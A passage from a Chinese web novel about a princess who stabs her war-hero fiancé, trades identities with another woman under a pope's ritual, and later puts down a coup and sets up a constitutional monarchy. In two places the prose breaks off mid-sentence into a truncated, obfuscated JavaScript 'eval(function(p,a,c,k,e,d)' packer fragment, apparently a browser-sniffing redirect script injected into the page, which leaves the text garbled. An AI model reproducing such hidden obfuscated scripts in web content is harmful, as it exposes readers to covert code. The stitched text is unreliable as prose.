他的队伍很快达到了王宫广场，国王和教会代表站在高台上向他致以敬意。凯特罗琳公主被安排给自己的未婚夫将军献花，她当然知道亨利被夸大的功绩，而她本身也是他的勋奖之一。 亨利*戴维德，不过是在沙场经历了四年，面目沧桑了许多，目光也变得沉重。但对凯特罗琳来说，无论他变成什么样子，都只是一只扼住她咽喉的大手，她逃不开的归宿。 “殿下，很高兴能再见到您。”亨利戴维德的声音倒没有什么变化，与当年他邀请凯特罗琳共舞时一样。但显然，他并不知道与她共舞的会是另一个人。 凯特罗琳早已做好了准备。她清了清嗓子，声音在广场中回响，清晰而有力：“尊敬的戴维德上将，您在战场上的英勇无畏，您的智慧和勇气，为国家和人民带来了和平与安宁。今天，我们聚集在这里，为了表彰您的卓越贡献，我代表国家向您献花。” 随着她的话语落下，广场内响起了热烈的掌声。 亨利*戴维德挺直了身体，声音洪亮而坚定：“我接受这份荣誉，但我知道，这份荣誉属于所有为国家付出的勇士们。我将这份荣誉视为对我们共同事业的肯定，我将继续为国家和人民服务。” 亨利*戴维德拿起手里的献花，朝着民众招手。 这一对未婚夫妇站在一起，在所有人眼里都是天生一对，所以当事情发生的时候，很少人意识到发生了什么。 凯特罗琳给出了鲜花，手凭空出现了一把血红色的匕首。在众人的欢呼声中，她精准无误地将刀刃插在了亨利*戴维德的脖颈上——因为这是他唯一暴露出来的弱点，身上的其他部分都有着厚重的盔甲。 场面一时间陷入了混乱，靠近中心的民众纷纷惊呼而逃，后面的民众则不知道发生了什么。王宫卫队开始疏散民众，让大家迅速有序离开。 而站在风暴中心的凯特罗琳则是被教会的神职人员控制住，脖子上插着匕首的亨利*戴维德捂着自己的伤口被紧急送往医疗中心。 “她不是真正的凯特罗琳*古奥斯公主，是由异端冒充的。”教皇肯*沙穆站出来掌控局面，一句话就将公主本身洗白。 凯特罗琳伏在地上，她身上还溅着几滴亨利*戴维德的鲜血，她抬眼看着圣父，竟笑了一声：“这不就是你想要的吗？” * 刺客在将军的凯旋仪式上进行的暗杀震惊拜厄全国，她竟然伪装成凯特罗琳公主欺骗了所有人的视线。刺客已经被教会控制住，而真正的公主也被解救了出来。拜厄对莫里安正式宣战，之前勉强达成的和平协议被彻底撕毁，三国之间的战争再次拉响。 亨利*戴维德受到特殊匕首的重伤，虽然没有性命之危，但仍处于昏迷不醒的状态。为此，王室和教会对他加封了更多的荣誉，扶持戴维德家族的其他人在政治舞台上活动。 卡特琳娜本来没有参加当时的凯旋活动，得知这件事后也是震惊非常。但在她的记忆中，也依稀有着类似的历史事件。她曾读到过这一段，莫里安刺杀拜厄贵族成员一事成为了拜厄宣战的导火索。 很多细节被模糊掉，所以她以为这件事无关紧要，并没有特别留意。 为了保住古奥斯最后一个正统的王室成员，凯特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以，由你来选择。” 凯特罗琳说，“你履行你当初的承诺，你成为我，我成为你，我们的命运永远永远交织在一起。或者，凯特罗琳*古奥斯被冠上疯子的名头，被永远闭锁在费里特王宫的塔楼，再也见不到阳光。” 理所当然，即使她刺杀了王国的英雄，她作为古奥斯最后的正统，是不可能被处死的。 卡特琳娜发现她根本逃不开既定的命运轨迹，或者是她本人也同凯特罗琳一样，陷入了被记忆操纵和精神控制的境地。 “……如果这是你希望的话。”卡特琳娜答应了她。 “很好，我的孩子们。”圣父肯*沙穆一直在旁边听着她们的对话，这时候终于站了出来，“你们将会从内到外，完完全全成为对方。如果决定好了，就可以马上开始仪式了。” 87. 君主立宪 亨利*戴维德被刺被王室和教会遮掩了下来，具体的事因仅有当时在凯旋仪式广场的人可能知道。 冒充凯特罗琳公主进行刺杀的刺客已经当场死亡，从她的遗物中发现了是受到莫里安指使的痕迹。 为了宽抚戴维德家及相关贵族的情绪，王室婚礼在不久后进行。 虽然亨利*戴维德受到重创，一直处于昏迷状态，后续也很难有苏醒的可能，但婚礼并不是非得要他本人到现场才行。 王室婚礼低调举行，仅有王室成员和教会高层在现场。亨利*戴维德当场改换姓氏，成为古奥斯家族的一员。 婚礼结束后，凯特罗琳*古奥斯正式从拜厄皇家学院毕业，开始了成人的社会生活。 之后，古奥斯王室又发生了几件大事。 王后碧翠丝向国王托因比下毒杀害国王未遂，被处以火刑。而国王虽然活下来，但却伤及了肺脏，离开呼吸机便不能够行动。前王后罗拉不得不重回王宫，以公主母亲的身份帮助凯特罗琳料理王宫事务。 王室的变故让拜厄的许多贵族蠢蠢欲动，他们往往是各个区域的领主，许多有爵位的人士甚至会私养军队。他们打听到亨利*古奥斯已经再难行人事之后，认为古奥斯王室后继无人，拜厄的未来必须改换掌权人。 而战争前线也危机四伏，戴维德家族不得不领受王室的任命坚守边境。其他领主派人来相继策反，希望他们能重新选出合适的继承人代替亨利*戴维德的位置，与公主再次成婚。当然，这些领主并不是真心想要将权势拱手让给戴维德，而是试探的成分居多。 他们终于想到一个顺理成章的办法——在费里特制造动乱，然后趁乱杀掉亨利*戴维德以及其他候选者，救出公主以接近王位。 这次危机来得相当迅猛，一开始前线传来噩耗，边境三城被莫里安攻下，军队首领失踪不知生死。莫里安向拜厄发来了劝降书，要求拜厄割地以保和平。 国事会议上，众多大臣以保守为主，认为拜厄王室不稳，只能先投降后谋生路。凯特罗琳*古奥斯却坚决不同意，她认为战役的失利便是由于战略部署过于保守，步步后退以至于无可胜利之处。 拜厄本有许多有才之人，这时候却很少有能站出来。凯特罗琳却不拘于以往的陈规，提拔了几位出自拜厄皇家学院的女官为负责人，重新拟定了征选政策，在全国范围内广招人才以应战需。 大臣中自然不服者众多，这世道哪里有女子上战场的道理？他们自然也不服凯特罗琳仗着王室无人，便以公主身份对国事指手画脚。他们与各地领主取得了联系，准备里应外合将凯特罗琳架空，重新降落一个能让人信服的领导者。 但事情并没有如他们所愿。 费里特开始于城郊发明工厂的爆炸事件，后续城中购买了该工厂香皂的家庭都发生了大大小小的爆炸。而这个香皂的发明来自于拜厄皇家学院，是由前发明社社长凯妮丝*库克与几位高材生一同研制。 在公主大婚过后，凯妮丝也顺利毕业，推辞了拜厄皇家学院对她的教职邀请，从此不知所踪。凯特罗琳便接受了她名下的专利产权和发明社，并将发明社以研发公司的名义重新设立，与拜厄知名的几位巫师一起创建了无国界发明家协会。 也正是因为有商界人士的支持，凯特罗琳才能在暗流涌动的费里特占据一席之地，不成为完全的傀儡，而能够在国事大厅与各大臣据理力争。 香皂爆炸事件引发了费里特的恐慌，传言说香皂是黑魔法的产物，用了它的人就已经受到了恶魔的诱惑，不再是真正的人类。 一个自称净化者协会的团体号称要除掉世界上的一切邪恶，将刀挥向了这些使用过香皂的人。 凯特罗琳不得已，为了让民众相信香皂中并没有任何魔法成分，只是最普通的日常用品，她决定召开一场正式的发布会。 但在发布会当日，香皂爆炸的事件又发生了，这一次几乎全世界的香皂都在同一时间爆炸。而且不只是香皂，爆炸在费里特城中此起彼伏，显然是一场预谋已久的袭击。 动乱已经发生，城外早已准备好的营救队伍蠢蠢欲动。 但他们刚刚进入城门，就发现动乱已经被平息，无国界发明家协会的专利商品展示会正在热火朝天得进行。 “刚刚的爆炸只是我们进行的消防演习。”凯特罗琳对民众做出的解释非常直观，“可以见到，我们设计发明的消防车、灭火器、火情警报这些都有着相当高的效率，能够在很短时间内将隐患消除。而且，这些与安全相关的专利物品并不会对外销售，将以王室的名义进行采买，在国家军队之外另行组织部门为全市人民的安全服务。之后，这项工作将推广到拜厄所有的城市和乡镇。” 动乱刚刚发生就已经被遏制，所有参与的人员被凯特罗琳手下的兵士直接抓捕，包括那些打算趁乱进入王宫杀害亨利*戴维德的“救兵”。 他们惊讶地发现，这些所谓的兵士竟然是由十四仙盟的成员带领，她们大部分是女性，有着非常强大的魔法实力。 而且，凯特罗琳的手段相当雷霆，竟将这些与动乱有关的人士一律杀了干净。这让远在各地的领主也相当惊奇，没想到一直以善良乖巧闻名的公主竟像是变了一个人。 他们仍不死心，既然无法直接占据古奥斯已有的成果，他们便打算自立为王统领拜厄。 但凯特罗琳又做了一件出乎所有人意料的事情，她趁着国王的诞辰，邀请各地领主汇集费里特。那些找借口回绝的领主，相继遭遇了许多倒霉的事件，要么是走在路上摔断了腿，要么是喝水被呛得哑了喉咙。 其他领主也不敢不去，接受了公主的邀请。 民间开始传说公主会魔法的事情，她本身便是拜厄皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凯特罗琳并不是那么容易被掌控的人。 在她登基之后，她不仅凭借惊人的毅力远程操纵边境的战事，让莫里安的军队占不到多少好处。她在全力发展国内商业经济的同时，竟然主动让渡出部分权力，提出了二元制君主立宪制的概念，成立了议会。议会成员在民众中选出，并且将以前的国事会解散，在议会中委任首相和上议院议员，并组织了内阁为君主进行谋划。 拜厄主要是神权为主体的国家，政教联合是统治的必要手段。但在二元制君主立宪制的情况下，教会将很难直接插手政治决策。内阁提出相应的法律政策，由议会成员投票决定，最后再有君主签署。如果教会无法保证议会中的神职席位，那将很难干涉某些事情。 肯*沙穆当然不愿意看着凯特罗琳从教会抽取力量，他必须要做点什么。